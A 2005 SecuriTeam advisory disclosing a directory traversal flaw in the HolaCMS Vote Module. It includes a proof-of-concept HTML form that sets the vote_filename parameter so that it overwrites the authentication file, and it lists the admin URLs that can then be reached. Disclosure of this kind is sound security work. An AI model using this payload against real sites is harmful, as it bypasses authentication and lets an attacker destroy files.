[UNIX] HolaCMS Arbitrary File Access

From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/05

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Date: 17 Mar 2005 11:48:58 +0200

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      HolaCMS Arbitrary File Access
    ------------------------------------------------------------------------

    SUMMARY

    An input validation vulnerability was reported in
    <http://holacms.drunkencat.net/> HolaCMS in the Vote Module. The
    vulnerability allows a remote user to modify files on the target system.

    DETAILS

    The Vote-Module doesn't check if the submitted "vote_filename" variable is
    in the holaDB/votes/ directory or outside it. By utilizing directory
    traversal attack on the vote_filename parameter, for example
    holaDB/votes/../../, a remote attacker can modify local files that reside
    outside the holaDB directory.

    By exploiting this vulnerability a remote user can manipulate or destroy
    system files - not only the ones in the CMS but every file accessible to
    HTTP server.

    Proof of Concept:
    Create this HTML form:
    <form action="http://[target]/[site-with-vote].php?vote=1" method="POST">
    <input type="hidden" name="vote_filename"
    value="holaDB/votes/../../admin/multiuser/multiuser.php">
    <input type="hidden" name="result" value="0">
    <input type="submit" value="Stimme abgeben" name="button">
    </form>

    Now edit [target] and [site-with-vote] to match your site, when you push
    the button the first lines of the multiuser.php (which includes the
    authentication mechanism) is overwritten. This means that now when you
    call the page http://[target]/admin/index_cms.php you will have access to
    all administrative functions by calling URLs like:
    http://[target]/admin/[module you want].php?username=siteadmin

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisory05@konfiweb.de>
    Virginity Security.

    ========================================

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